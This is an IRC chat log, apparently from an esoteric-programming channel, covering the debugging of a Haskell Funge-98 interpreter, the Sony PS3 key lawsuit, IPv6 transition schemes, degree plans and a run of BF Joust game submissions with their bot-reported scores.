00:50:26 <elliott> Yeah, but I was already considering that :P
00:51:20 <elliott> This is going to complicate so much code >_<
00:51:40 <Sgeo_> I don't think I ever really learned IO exceptions
00:52:47 <Sgeo_> Then again, even the liftIO stuff is.. not stuff that I really remember anything about
00:57:52 <elliott> :t hSetFileSize
00:57:52 <lambdabot> Not in scope: `hSetFileSize'
00:57:55 <elliott> >_<
00:57:57 <elliott> :t System.IO.hSetFileSize
00:57:58 <lambdabot> GHC.IO.Handle.Types.Handle -> Integer -> IO ()
00:58:36 <elliott> @hoogle when
00:58:36 <lambdabot> Control.Monad when :: Monad m => Bool -> m () -> m ()
00:58:38 <elliott> @hoogle ifM
00:58:38 <lambdabot> System.Directory createDirectoryIfMissing :: Bool -> FilePath -> IO ()
00:58:38 <lambdabot> Network.HTTP.Headers HdrIfMatch :: HeaderName
00:58:38 <lambdabot> Network.HTTP.Headers HdrIfModifiedSince :: HeaderName
00:58:46 <elliott> oh, of course
01:07:58 <elliott> Ohmygawd this is going to get so ugly.
01:10:30 <Sgeo_> Use Io!
01:15:26 <elliott> Sgeo_: No, I made it less ugly again.
01:16:10 <elliott> BAD: O opened 'mycotemp.tmp' for reading, won't overwrite it and thus won't test fingerprint
01:16:12 <elliott> Well that's not right.
01:17:20 <Sgeo_> By Io, I meant the language >.>
01:17:25 <elliott> Sgeo_: I know.
01:17:27 <elliott> Sgeo_: It sucks.
01:17:47 <elliott> There is no way this code would still be standing of not for the expressivity Haskell has given me.
01:18:08 <elliott> Heck, even CCBI has extensive compile-time metaprogramming and use of strong typing.
01:18:47 <Sgeo_> Surely metaprogramming isn't Haskell's forte? Is Template Haskell really that great?
01:19:10 <elliott> Template Haskell is a bitch to code the templatey bits for but a joy to use and very expressive, yes.
01:19:21 <elliott> Sgeo_: But rather I'm doing things in Haskell that would be impossible to do without compile-time metaprogramming in other languages.
01:19:22 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
01:19:27 -!- azaq23 has quit (Ping timeout: 246 seconds).
01:19:32 <elliott> Such as my Fingerprint typeclass.
01:20:03 <elliott> \(ShiroIOException st) -> reflect >> put st
01:20:04 <elliott> lolbug
01:20:07 <elliott> (should be put st >> reflect)
01:20:27 <Sgeo_> What's a Shiro?
01:20:50 <elliott> Sgeo_: "Mycelium (plural mycelia) is the vegetative part of a fungus, consisting of a mass of branching, thread-like hyphae. The mass of hyphae is sometimes called shiro, especially within the fairy ring fungi."
01:22:07 -!- azaq23 has joined.
01:22:53 <pikhq> *grin*
01:23:21 <pikhq> SCEA published the PS3 key by accident on Twitter.
01:23:35 <pikhq> I am now referring to this case as SCEA v. Hotz, SCEA, et al.
01:23:53 <elliott> pikhq: Link :-D
01:23:56 <elliott> To screenshot or whatever
01:24:24 <pikhq> http://twitpic.com/3xwe6h Screenshot, as the post was brought down.
01:24:54 <pikhq> TheKevinButler is the Twitter account of a fictional character used by Sony for promotion.
01:25:13 <elliott> pikhq: Run by an idiot, evidently.
01:25:16 <pikhq> Yes.
01:25:40 <pikhq> But nevertheless. SCEA is now a John Doe defendant in the case. :P
01:28:33 -!- zzo38 has joined.
01:30:11 <Sgeo_> http://blog.moviefone.com/2011/02/09/mpaa-disconnect-internet/?a_dgi=aolshare_twitter lolwat
01:30:51 <elliott> I should read Techdirt more.
01:31:06 <elliott> Us anti-copyright fellows have to stick together.
01:32:21 -!- nescience has quit (Read error: Connection reset by peer).
01:32:24 -!- nescien29 has joined.
01:32:49 -!- nescien29 has quit (Client Quit).
01:33:34 <Gregor> http://angryhosting.mirror.waffleimages.com/files/ff/ff52cc68b141e3122963cbff434934fb24cbd74c.jpg Oh IPv4
01:34:29 <elliott> Gregor: :D
01:34:48 <Sgeo_> Gregor, damn you
01:35:10 <Gregor> Sgeo_: I WIN
01:36:43 <elliott> Deewiant: Self-log-read-ask: Vorpal: When FILE functions reflect, do they push the file handle back again, or keep it popped?
01:36:45 <elliott> fizzie: too
01:36:53 <zzo38> Gregor: What do you win? I think not.
01:37:58 <Sgeo_> zzo38, we both saw it in the same place
01:38:46 <elliott> BUT WHERE
01:38:59 <Gregor> elliott: ITSA SEKRIT
01:39:04 <elliott> Gregor: Sine? :-P
01:39:15 <elliott> (LOOK AT THAT FAST IN-BRAIN DATABASE QUERY)
01:39:17 <elliott> (LOOK AT IT)
01:39:26 <Gregor> SEKRITSEKRIT
01:42:45 -!- copumpkin has joined.
01:43:59 <elliott> Gregor: Please, like you'd willingly associate with Sgeo anywhere >:D
01:57:17 <pikhq> Sony is also filing for a subpoena to obtain every document in Paypal's possession.
01:57:29 <Sgeo_> lolwat
01:57:31 <pikhq> Not every document relevant to a one George Hotz.
01:57:34 <pikhq> Every document.
01:58:06 <Sgeo_> They need US lawyers on their legal team, I think
01:58:15 <copumpkin> they have plenty
01:58:19 <copumpkin> SCEA is a US company
01:58:23 <pikhq> Sgeo_: The lawyers in question are a block down the road from the courthouse.
01:58:24 <copumpkin> the legal firm is in the US
01:58:39 <Sgeo_> Oh
01:58:48 <Sgeo_> Why was I thinking Japan?
01:58:49 <pikhq> SCEA is a US company which, interestingly, does not actually have anything to do with the Playstation 3.
01:59:14 <pikhq> It may be found that SCEA cannot sue for being a completely unassociated party.
02:00:08 <pikhq> The company that actually *makes* the PS3 is Sony Kabushikigaisha.
02:00:15 <pikhq> Which is, of course, in Japan.
02:03:27 -!- Slereah has quit.
02:07:56 <elliott> 07:59:13 <ais523> fizzie: which reminds me, we should write a Lisp interp in Nintendo DS asm someday, collectively
02:07:56 <elliott> 07:59:17 <ais523> purely to annoy Joel Spolsky
02:07:57 <elliott> wat
02:14:27 <zzo38> One common protocol used to receive email messages from the service provider is POP3, but I think an option to use SMTP should be given. After authenticating and sending any messages you want to send, you send TURN and then you will receive messages from the server (you can send back response codes to retain the message or whatever), ...
02:14:45 <zzo38> ... and then after all messages are received, the server sends TURN and then you can continue to send more messages or QUIT
02:16:28 <zzo38> As far as I know most mail services do not support SEND or TURN
02:16:30 <elliott> O KAY
02:30:42 <Sgeo_> I should go eat
02:30:45 <Sgeo_> Then do homework
02:32:29 <elliott> ##WhatIsGoingOnInSgeosDayToday
02:32:35 <elliott> That is the channel we are in
02:39:03 <elliott> jhc is interesting
02:40:22 <Gregor> Mmmm, homemade soda.
02:46:43 <pikhq> Oooh.
02:47:30 <pikhq> Though, given that it's apparently made by Gregor, it may just taste weird to those of us who are more osmic.
02:49:17 <elliott> pikhq: He's been doing this for ages.
02:49:23 <elliott> OK, strace proves that C works properly and files are being closed.
02:49:26 <elliott> But it's still reading wrong.
02:49:28 <elliott> TODO: Investigate, fix.
02:49:38 <elliott> And then remove debug statements :P
02:50:05 <pikhq> elliott: Still.
02:50:26 <elliott> He likes ginger-flavoured beverages, so obviously he's not human.
02:51:00 <pikhq> I love ginger-flavored beverages.
02:51:37 <pikhq> Proper ginger beer is deliciousness.
02:51:38 <elliott> pikhq: Inhuman.
02:53:02 <pikhq> "Dry" ginger ale is very solidly meh, though.
02:53:41 <elliott> Ginger drinks just taste like bitter :P
02:53:42 <pikhq> (originally used as a mixer for liquor, and hence is much less ginger-y. Inexplicably, it's very popular.)
02:53:53 <zzo38> What I should do is once I make complete version of TeXnicard, compile the DVI file without line numbers, and then find out the large empty space in texnicard.dvi (and plain_cards_book.dvi) to insert other stuff there, such as pictures, diagrams, quotation, cartoons, and whatever else (as long as there is a large enough quiet area around it).
02:53:54 <pikhq> elliott: ...
02:54:04 <elliott> >_>
02:54:06 <pikhq> elliott: Bitter is something that ginger isn't. At all.
02:54:23 <pikhq> Spicy? Yes. Bitter? WTF.
02:54:33 <zzo38> I don't know because I have never drink ginger or beer.
02:54:49 <elliott> pikhq: I mean, it just tastes harsh, I don't get much of a ginger taste from it.
02:54:58 <elliott> Compare with e.g. ginger nuts, biscuit of the gods*
02:55:02 <elliott> *apart from every other biscuit
02:55:28 <pikhq> elliott: Weird.
02:55:47 <elliott> I made ginger jam once.
02:55:51 <elliott> It was... it was glorious.
02:55:59 <elliott> It was *utterly* glorious.
02:56:35 <zzo38> If you are stuck in a elevator with only two buttons, one labeled "?" and the other one is labeled "!", then what are you going to do?
02:56:45 <pikhq> elliott: You may not have actually had a good ginger beer/ale, then.
02:57:02 <elliott> Possible.
02:57:06 <elliott> zzo38: Punch people.
02:57:06 <pikhq> elliott: Though you were definitely closer to "good" than most Americans' experience with it.
02:57:16 <elliott> SGEO ON IMPLEMENTING FUNGE-98: 11:44:16 <Sgeo_> I guess I shouldn't allocate a 2^32 by 2^32 array/list/whatever
02:57:30 <pikhq> (which is a beverage which actually approaches bland.)
02:57:34 <zzo38> elliott: But there is nobody else in elevator. The only people to punch would be yourself.
02:57:47 <elliott> I'd open the door.
02:57:58 <elliott> 11:46:01 <Deewiant> alise: I maintain that the core can be done in less than a 1000 lines :-P
02:58:01 <zzo38> The door is automatic and has no handle to open.
02:58:01 <elliott> Proved that to myself!
02:58:11 <elliott> zzo38: I'd get my nails in-between and open it manually.
02:58:37 <pikhq> I guess I'm being a bit too harsh on dry ginger ale.
02:58:42 <pikhq> It's *alright*, I guess.
02:58:56 <pikhq> It just pales in comparison to the sheer delicious GLORY that is the real thing.
02:58:57 <Sgeo_> miai?
02:59:12 <zzo38> O, ya? And what happened in case you fall into an open elevator shaft and *die*? (And also ruin the elevator due to a dead body being stuck in the shaft)
02:59:21 <elliott> Sgeo_: ?
02:59:33 <Sgeo_> I misunderstood the term for a second
02:59:41 <Sgeo_> Thought it meant two equivalent options in Go
02:59:44 <elliott> zzo38: So I got in, and didn't get out when I noticed that its buttons were crazy?
02:59:46 <Sgeo_> It's... related to that, i guess
02:59:46 <elliott> I doubt.
03:00:30 <zzo38> elliott: Of course I wouldn't think such a things would actually happen, either.
03:00:45 <zzo38> It is like a kind of thought experiment, instead.
03:02:12 <elliott> 11:56:53 <Deewiant> AnMaster: Can we agree to unimplement static areas? I don't like them :-P
03:02:12 <elliott> 11:57:09 <AnMaster> Deewiant, what? Of course I'll keep it
03:02:12 <elliott> 11:57:14 <Deewiant> Meh
03:02:12 <elliott> 11:57:24 <AnMaster> Deewiant, why should I remove it when it speeds things up? :P
03:02:12 <elliott> 11:57:33 <Deewiant> It slows down wrapping programs
03:02:13 <elliott> 11:57:43 <AnMaster> Deewiant, oh? AABBs don't though
03:02:15 <elliott> 11:57:46 <Deewiant> It increases memory usage
03:02:17 <elliott> 11:57:49 <AnMaster> well yes
03:02:19 <elliott> 11:57:56 <Deewiant> For CCBI, it's only faster because the hardware is faster at using constants than variables
03:02:22 <elliott> 11:57:59 <AnMaster> but I prefer speed in speed-memory tradeoffs
03:02:24 <elliott> 11:58:07 <Deewiant> I think it's such a hack all in all :-P
03:02:26 <elliott> 11:58:09 <AnMaster> Deewiant, well sure, but that is always true
03:02:28 <elliott> 11:58:18 <AnMaster> Deewiant, you don't need to implement it in CCBI
03:02:30 <elliott> Deewiant: You have to remove the static area from CCBI :-P
03:04:43 <elliott> pikhq: Are you ever gonna finish that Funge-98 interp? :-D
03:06:31 <pikhq> elliott: I never even started.
03:06:36 <elliott> pikhq: well start
03:06:38 <elliott> it's the hip new thing
03:06:46 <pikhq> elliott: I'm afraid I have other things to do.
03:06:51 <elliott> pikhq: LIKE WHAT
03:06:53 <Sgeo_> I should implement Funge-98 at some point
03:07:04 <pikhq> Like attempt to get something resembling a social life, learn Japanese, and play Minecraft.
03:07:08 <pikhq> Conflicting goals, I know.
03:07:42 <elliott> Sgeo_: good fucking luck
03:07:45 <coppro> pikhq: what are you doing right now? student?
03:07:49 <pikhq> coppro: Yes.
03:07:53 <Sgeo_> elliott, you have no faith in me?
03:08:01 <elliott> Sgeo_: I have no faith in /anyone/, Funge-98 is a bitch
03:08:04 <pikhq> coppro: Seeking CS and math degrees.
03:08:16 <coppro> pikhq: go find some student group or something to hang out at
03:08:21 <coppro> and/or play Minecraft at
03:08:21 <elliott> 820 top_dir haskell=820
03:08:27 <elliott> And that's excluding the fingerprint code.
03:08:28 <pikhq> coppro: The student groups suck.
03:08:33 <pikhq> coppro: I'm at a community college ATM.
03:08:36 <elliott> Anything that takes 820 lines of Haskell is fucking hard.
03:08:56 <pikhq> coppro: And this is a city notable for a complete lack of anything happening.
03:08:58 <coppro> :(
03:09:10 <pikhq> coppro: As you can imagine, that makes social things difficult.
03:09:33 <pikhq> Screw you, far-right conservatives. Screw you so much.
03:09:52 <pikhq> (Colorado Springs, CO. Christian fundamentalist capital of the US.)
03:10:02 <coppro> :(
03:10:04 <elliott> 12:23:24 <pikhq> Also, 98-Fungespace is hard to do efficiently.\
03:10:04 <elliott> 12:23:39 <pikhq> I'm not entirely sure what datastructure I'd *like* to use.
03:10:10 <elliott> i am very tempted to switch to quadtrees at some point
03:10:14 <pikhq> elliott: So I thought about it.
03:10:15 -!- elliott has left (?).
03:10:18 -!- elliott has joined.
03:10:18 <coppro> also you're doing a double degree?
03:10:19 <elliott> pikhq: Hm?
03:10:31 <pikhq> coppro: Yes, and it will take 3 credit hours more.
03:10:33 <pikhq> elliott: So I thought about it.
03:10:36 <elliott> pikhq: Hm?
03:10:39 <coppro> pikhq: heh
03:10:45 <pikhq> elliott: Inplementing Funge-98.
03:10:45 <coppro> pikhq: yeah, it's not hard to double major CS/something else here
03:10:52 <Sgeo_> elliott, what are you using now?
03:10:56 <coppro> where something else is a math field
03:11:05 <pikhq> coppro: It's *pretty* easy to double major math/anything here.
03:11:12 <coppro> but you can only get one degree out of it; either a BCS if you're lame or a BMath if you aren't
03:11:14 <elliott> Sgeo_: just an associative array
03:11:16 <zzo38> Sometimes you are so "fundamentalist" that you are not only fundamentalist, you are now Illogical Christianity (cf. Jack Chick)
03:11:21 <elliott> pikhq: I don't understand
03:11:24 <pikhq> coppro: It requires a gigantic swath of electives, you see.
03:11:26 <elliott> pikhq: "So I thought about it"
03:11:28 <elliott> Give context
03:11:34 <coppro> actually maybe you can't get a double major on a BCS; BCS is weird
03:11:38 <elliott> Do you mean you thought you'd use quadtrees too?
03:11:39 <elliott> Or...
03:11:48 <pikhq> elliott: But I never actually did anything related to implementing Funge-98.
03:11:52 <zzo38> s/cf./xf./
03:11:54 <elliott> Ah.
03:12:00 <elliott> I was just using your lines as a piggyback for my own opinions :P
03:12:03 <pikhq> :P
03:12:25 <zzo38> s/cf./fc./
03:12:35 <pikhq> coppro: Anyways, pretty easy to add math onto a CS degree. What with a CS degree having a free math minor pretty much everywhere.
03:12:46 <pikhq> (exception, Sgeo's college, though that's not a CS degree.)
03:12:53 <zzo38> s/s/s/s//s/s/s/s/ss///ssss/////s/s///s//s///s/s//s/s///
03:13:29 <coppro> pikhq: pure math minor requirements: http://ugradcalendar.uwaterloo.ca/page/MATH-Pure-Mathematics-Minor-1
03:13:38 <quintopia> is this a valid slashes program if you remove the s's?
03:14:57 <elliott> Sgeo_: transferred yet?
03:15:10 <pikhq> coppro: Y'mean this? http://ugradcalendar.uwaterloo.ca/page/MATH-Plans-Outside-Math-Pure-Mathematics-Minor
03:15:17 <Sgeo_> ...
03:15:26 <elliott> Sgeo_: What
03:15:30 <pikhq> Oh, wait, is CS in "Faculty of Mathematics"?
03:15:33 <coppro> yes
03:15:37 <pikhq> Okay, then.
03:15:51 <pikhq> Yeah, looks like a nearly-free math minor for a CS student...
03:16:01 <coppro> if you can handle PMATH courses
03:16:11 <Sgeo_> elliott, you expect me to transfer within this semester?
03:16:16 <elliott> Sgeo_: Yep
03:16:18 <elliott> :-P
03:16:33 <coppro> I did the math; it's actually possible to triple major PMATH, CS, and CO with only a few extra credits
03:16:57 <pikhq> CO=?
03:17:17 <coppro> combinatorics and optimization
03:17:39 <pikhq> Mmm.
03:17:41 <coppro> you could probably swap CO or PMATH for applied math too
03:17:58 <coppro> if you can stomach taking the tough courses, you can get a ridiculous piece of paper at this university
03:20:28 <pikhq> Sgeo_: Remember: your course of study wouldn't earn you a CS *minor* anywhere else.
03:23:54 <elliott> bork bork bork
03:36:13 -!- azaq23 has quit (Quit: Leaving.).
03:36:27 -!- elliott has quit (Quit: Leaving).
04:15:13 <pikhq> Well I'll be damned. There's actually a useful IPv6 transition mechanism for letting an IPv6 host on the IPv4 Internet.
04:15:18 <pikhq> NAT64 + DNS64.
04:15:28 <pikhq> NAT64 is, as you can imagine, a NAT scheme between IPv6 and IPv4.
04:15:59 <pikhq> DNS64 is, essentially, having the DNS server generate AAAA records that will actually be mapped by NAT64.
04:17:14 <quintopia> how many host can be behind the NAT?
04:17:18 <pikhq> Granted, this is still essentially carrier-grade NAT, and has all the problems inherent in that, but at least it would only be used for accessing IPv4-only hosts...
04:17:54 <pikhq> quintopia: 2^16-1 simultaneous connections, I do believe.
04:19:51 <pikhq> ARIN has actually reserved a block soley for IPv6 transition schemes such as NAT64...
04:23:59 <Sgeo_> "http://engt.co/e3LA1T"
04:24:01 <Sgeo_> oops
04:24:43 <Sgeo_> "The study also shows that, despite concerns about online safety, one in eight young people is in contact with strangers when on the web and often lies about their appearance, age and background.
04:24:43 <Sgeo_> " ooh, scary
04:24:52 <Sgeo_> What a horrible thought
04:24:56 * Sgeo_ spits on someone
04:26:12 <pikhq> BTW guys I've been lying about my appearance, age, and background.
04:26:55 <pikhq> I'm really a 4-dimensional being whose appearance you could not even contemplate, I am ageless, and my desktop background is solid gray.
04:27:52 <quintopia> and i'm actually a post-singularity AI traveled back in time and stored myself as a brainfuck program in a CERN supercomputer
04:28:24 <quintopia> it's like death being in such a slow language, but their toy BF interpreter was the only security hole i could exploit from the future
04:43:29 <zzo38> They did the report about making a computer that can be one of the players in Jeopardy! game. Their opponents are the two best players in Jeopardy! ever. The computer ended in a tie.
04:47:07 <quintopia> oh that aired?
04:47:16 <quintopia> i figured Watson'd kick their asses
04:52:13 <zzo38> Almost! But they tied three ways (that happened only once before).
04:52:26 <zzo38> (And the time before, it wasn't a computer.)
04:54:35 -!- zzo38 has quit (Remote host closed the connection).
04:58:48 <Gregor> 15 32.94 5.74 ais523_defend9.bfjoust
04:58:49 <Gregor> 37 32.69 -6.29 myndzi_butter.bfjoust
04:58:49 <Gregor> lol
04:58:52 <Gregor> Best scoring system ever.
04:59:12 <Gregor> Difference in points: 12.03 (and one is negative)
04:59:18 <Gregor> Difference in score: 0.25
05:00:50 <quintopia> it's truly the perfect scoring system
05:10:03 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
05:10:44 -!- poiuy_qwert has joined.
05:22:09 -!- asiekierka has joined.
06:00:28 <Ilari> Heh. IPv6 address space isn't nearly as large as is comonly stated. The effective size is only something like 20 000 to 100 000 times the size of IPv4 space. Or something like that.
06:01:28 -!- asiekierka has quit (Read error: Operation timed out).
06:01:43 <pikhq> Counting inherent overhead in how blocks are assigned, I see.
06:02:17 <Ilari> More like allocation sizes.
06:04:56 <Ilari> There are 35 184 372 088 832 /48s in global unicast space. That's about 9 500 times the total number of usable IP addresses in IPv4. But how many such addresses would each such /48 "replace"?
06:06:23 <Ilari> And of course, smaller places could get /56s or so and it would be very likely more than sufficient.
06:10:52 <pikhq> Not to mention that the smallest "usual" allocation is a /64.
06:12:31 <pikhq> The gleeful disposal of addresses probably does make routing easier, but definitely does make the whole "IPv6 is enough to address every bit of sand on every beach in the world" thing seem like BS.
06:21:01 -!- pikhq has quit (Read error: Connection reset by peer).
06:21:32 -!- pikhq has joined.
06:22:28 <pikhq> Screw you X.
06:34:32 -!- hagb4rd has joined.
06:48:25 <quintopia> MAN I FORGOT HOW AWESOME THIS SONG WAS
06:49:21 <quintopia> Homage the Halfrican Cracker - I Just Do Theory
06:52:43 <fizzie> elliott: I think I've mostly been assuming that when they reflect, all the arguments have disappeared from the stack; but since they "keep" the handle on stack "normally" I guess that's arguable.
06:53:27 <fizzie> It does make it marginally easier to close the handle after a failing operation if it does stay there.
07:40:01 -!- oerjan has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:26:52 -!- augur has quit (Remote host closed the connection).
08:31:42 -!- ais523 has joined.
08:31:47 -!- augur has joined.
08:39:54 -!- poiuy_qwert has quit (Read error: Operation timed out).
08:40:17 -!- ais523 has quit (Read error: Connection reset by peer).
08:41:05 -!- ais523 has joined.
08:41:47 -!- augur has quit (Remote host closed the connection).
08:42:52 -!- augur has joined.
08:43:32 -!- hagb4rd has quit (Ping timeout: 240 seconds).
08:49:32 -!- cheater00 has quit (Ping timeout: 240 seconds).
08:50:28 -!- cheater00 has joined.
08:59:48 -!- Mannerisky has left (?).
09:05:36 -!- copumpkin has quit (Ping timeout: 250 seconds).
09:06:01 -!- copumpkin has joined.
09:20:18 -!- ais523 has quit (Read error: Connection reset by peer).
09:28:06 -!- ais523 has joined.
09:41:06 -!- ais523 has quit (Remote host closed the connection).
09:41:51 -!- pikhq has quit (Read error: Operation timed out).
09:42:20 -!- ais523 has joined.
09:43:00 -!- pikhq has joined.
10:00:34 -!- Slereah has joined.
10:35:41 -!- Deewiant has quit (Read error: Connection reset by peer).
10:36:01 -!- Deewiant has joined.
10:36:40 -!- augur has quit (Remote host closed the connection).
10:42:00 <ais523> !bfjoust decoytuner >+>+>->>>>>(>[>-[++[+[+[-----[-[((-)*120(.-)*16>)*19](>---[(+)*120[+]])*19](>--[(+)*120[+]])*19](>+++[(+)*120[+]])*19](>++[(+)*120[+]])*19](>+[(+)*120[+]])*19](>-[(+)*120[+]])*19])*20>[[-]][-]
10:42:23 <ais523> hmm, I see an obvious improvement to that
10:42:54 <ais523> but I doubt the strategy will work too well anyway
10:44:38 <EgoBot> Score for ais523_decoytuner: 31.7
10:45:19 <ais523> hmm, mid-leaderboard
10:46:43 <ais523> !bfjoust decoytuner >+>+>->>>>>(>[>-[++[+[+[-----[-[(-)*115(.-)*16(>(-)*120(.-)*16)*18](+>---[(+)*120[+]])*19](+>--[(+)*120[+]])*19](+>+++[(+)*120[+]])*19](+>++[(+)*120[+]])*19](+>+[(+)*120[+]])*19](+>-[(+)*120[+]])*19])*20>[[-]][-]
10:46:55 <ais523> that incorporates the obvious fix, and also a trail
10:46:58 <EgoBot> Score for ais523_decoytuner: 34.4
10:52:38 <ais523> !bfjoust decoytuner >+>+>->>>>>(>[>-[++[+[-----[(-)*118(.-)*16(>(-)*120(.-)*16)*18](+>--[++++[(+)*118[+]]])*19](+>++[----[(-)*118[-]]])*19](+>+[--[(-)*119[-]]])*19](+>-[++[(+)*119[+]]])*19])*20>[[-]][-]
10:52:49 <EgoBot> Score for ais523_decoytuner: 48.6
10:54:22 <ais523> there's a bug, that should have beaten rather than tied with shortsword
10:55:21 <ais523> !bfjoust decoytuner >+>+>->>>>>(>[>-[++[+[----[(-)*118(.-)*16(>(-)*120(.-)*16)*18](+>--[++++[(+)*118[+]]])*19](+>++[----[(-)*118[-]]])*19](+>+[--[(-)*119[-]]])*19](+>-[++[(+)*119[+]]])*19])*20>[[-]][-]
10:55:26 <ais523> duh, that was stupid...
10:55:34 <EgoBot> Score for ais523_decoytuner: 50.3
10:58:44 <ais523> wow that's doing well
10:59:30 <ais523> it uses a strategy inspired by myndzi, in that it's doing something similar to careless, but with various elements of my own thrown in (something entirely new, and some ideas from wiggle and tripwire_avoider too)
11:03:10 <ais523> unlike careless, it doesn't beat programs that leave no decoys, in order to get an advantage over programs that do
11:06:31 -!- FireFly has joined.
11:09:11 -!- augur has joined.
11:22:31 -!- pikhq has quit (Ping timeout: 240 seconds).
11:22:49 -!- pikhq has joined.
11:30:47 -!- variable has quit (Ping timeout: 260 seconds).
11:32:36 -!- variable has joined.
11:41:47 -!- BeholdMyGlory has joined.
12:10:53 -!- poiuy_qwert has joined.
12:22:25 -!- ais523_ has joined.
12:37:49 -!- ais523_ has quit (Quit: Page closed).
12:47:56 -!- MigoMipo has joined.
12:49:29 -!- Ilari has quit (Read error: Operation timed out).
12:51:15 -!- Ilari_antrcomp has quit (Ping timeout: 260 seconds).
12:53:59 -!- Ilari has joined.
12:55:53 -!- pikhq has quit (Read error: Operation timed out).
12:57:34 -!- pikhq has joined.
12:59:23 -!- atrapado has joined.
13:00:13 -!- Ilari_ has joined.
13:00:23 -!- Ilari_ has changed nick to Ilari_antrcomp.
13:02:55 -!- hiato has quit (Read error: Operation timed out).
13:03:10 -!- hiato has joined.
13:22:18 -!- Sgeo has joined.
13:24:39 -!- Sgeo_ has quit (Ping timeout: 255 seconds).
13:24:52 -!- taotree has quit (Quit: Ex-Chat).
13:41:46 <Gregor> -20C (-5F) right now.
13:41:50 <Gregor> FFFFFFFFFFFUUUUUUUUUUUUUUUUU
13:44:59 -!- cheater00 has quit (Ping timeout: 240 seconds).
13:45:56 -!- cheater00 has joined.
14:02:35 -!- nddrylliog has joined.
14:22:51 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
14:34:58 -!- asiekierka has joined.
14:46:02 <ais523> +9 (C) here
14:53:13 <variable> -12℃ here
14:53:25 <variable> its *warm*
14:54:09 -!- cheater00 has quit (Ping timeout: 240 seconds).
14:55:01 -!- cheater00 has joined.
14:55:50 <ais523> !bfjoust decoytuner >+>+>->>>>(>[>-[++[+[----[(-)*118(.-)*16(>(-)*120(.-)*16)*18](+>--[++++[(+)*118[+]]])*19](+>++[----[(-)*118[-]]])*19](+>+[--[(-)*119[-]]])*19](+>-[++[(+)*119[+]]])*19])*20>[[-]][-]>[[-]][-]
14:57:28 -!- Mannerisky has joined.
14:59:43 <EgoBot> Score for ais523_decoytuner: 54.4
15:00:18 <ais523> hmm, I wonder if decoytuner will be up at 100 by the time I stop finding and fixing obvious bugs?
15:01:26 <ais523> let's see what happens if I add a defence detector
15:02:33 <ais523> !bfjoust decoytuner >+>+>->>>>(>[>-[++[+[----[(-)*118(.-)*16(>(-)*120(.-)*16)*18][+-.-](+>--[++++[(+)*118[+]]])*19][+-.-](+>++[----[(-)*118[-]]])*19][+-.-](+>+[--[(-)*119[-]]])*19][+-.-](+>-[++[(+)*119[+]]])*19])*20>[-][+-.-]>[-][+-.-]
15:02:52 <EgoBot> Score for ais523_decoytuner: 50.3
15:03:04 <ais523> slows it down too much, by the look of things
15:03:07 <ais523> !bfjoust decoytuner >+>+>->>>>(>[>-[++[+[----[(-)*118(.-)*16(>(-)*120(.-)*16)*18](+>--[++++[(+)*118[+]]])*19](+>++[----[(-)*118[-]]])*19](+>+[--[(-)*119[-]]])*19](+>-[++[(+)*119[+]]])*19])*20>[[-]][-]>[[-]][-]
15:03:24 <EgoBot> Score for ais523_decoytuner: 54.4
15:03:28 <ais523> it seems to be better off just losing to shudder and its friends
15:05:18 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
15:06:33 -!- Sgeo has quit (Ping timeout: 240 seconds).
15:15:44 -!- augur has quit (Ping timeout: 240 seconds).
15:28:31 -!- augur has joined.
15:31:14 -!- copumpkin has joined.
15:32:06 -!- pikhq has quit (Ping timeout: 240 seconds).
15:32:15 -!- pikhq has joined.
15:38:24 -!- Phantom_Hoover has joined.
15:39:08 <Gregor> !bfjoust dobleve_te_efe_barbeque ([)*100(]+)*100
15:39:58 <ais523> Gregor: that's basically a NOP
15:40:06 <EgoBot> Score for Gregor_dobleve_te_efe_barbeque: 9.1
15:41:25 <Gregor> Beats decoytuner :P
15:41:58 <ais523> decoytuner loses to NOPs
15:42:39 <ais523> !bfjoust a_better_nop (+)*64
15:43:07 <EgoBot> Score for ais523_a_better_nop: 15.2
15:43:08 <Gregor> Except mine has a tight loop waiting for the flag to be zeroed first :P
15:43:13 <Gregor> :(
15:44:16 <ais523> mine beats careless too :)
15:46:16 <ais523> !bfjoust no_longer_quite_a_nop (+)*64(.)*50000[>[...-]+]
15:46:55 <EgoBot> Score for ais523_no_longer_quite_a_nop: 21.1
15:47:01 <ais523> it's getting better!
15:47:25 <ais523> in fact, it isn't even last, but second-last
15:48:41 <ais523> !bfjoust decoyvibration >>>++<(-)*85<(+)*85<(-)*128(+-)*25000(+)*19[>[...-]+]
15:49:27 <EgoBot> Score for ais523_decoyvibration: 20.7
15:51:26 <ais523> woah, that did really well on raw results compared to what I expected
15:51:35 <ais523> it's around 50:50 against many enemies
15:51:45 * Gregor sobblecopter
15:52:10 <ais523> !bfjoust decoyvibration >>>++<(-)*85<(+)*85<(-)*128(+-)*100000
15:52:25 <ais523> let's try a version that doesn't give up and settles for draws instead
15:52:28 <ais523> also, why are you sobbing?
15:53:08 <EgoBot> Score for ais523_decoyvibration: 17.3
15:53:40 <ais523> and htf is that losing to defence programs, given that it never trips their tripwires?
15:54:15 <ais523> !bfjoust decoyvibration >>>++<(-)*85<(+)*85<(-)*128(+-)*1000000
15:55:09 <EgoBot> Score for ais523_decoyvibration: 17.3
15:55:44 <Gregor> Huge improvement.
15:56:35 <Phantom_Hoover> "Sobblecopter" is the best word ever.
15:57:56 <Gregor> !bfjoust snapping_turtle (>)*8-[[+>(+)*128..[+].>(-)*128..[-].-]+]
15:58:29 <EgoBot> Score for Gregor_snapping_turtle: 4.5
15:58:39 <Ilari> APNIC down 0.07. Now at ~4.52 (including ERX blocks).
15:58:48 <Gregor> Wow, srsly? Why is that so much worse than mind_bogglingly_slow_rush_with_benefits ...
15:58:58 <ais523> Gregor: there's a bug in egojoust
15:58:59 <Gregor> !bfjoust snapping_turtle (>)*8-[[+>(+)*128..>>(-)*128..-]+]
15:59:07 <ais523> !bfjoust decoyvibration >>>++<(-)*85<(+)*85<.(-)*128(+-)*1000000
15:59:10 <Gregor> ais523: That's nae good?
15:59:10 <EgoBot> Score for Gregor_snapping_turtle: 13.1
15:59:22 <Ilari> This graph covers 2 weeks, during this time APNIC is down by 0.26
15:59:25 <ais523> to be precise, if the run times out and one of the flags is at 0, the program in question loses even if the flag's been at 0 for only 1 cycle
15:59:49 <Gregor> Mmmmmmmmmm
16:00:08 <EgoBot> Score for ais523_decoyvibration: 14.3
16:00:20 <ais523> haha
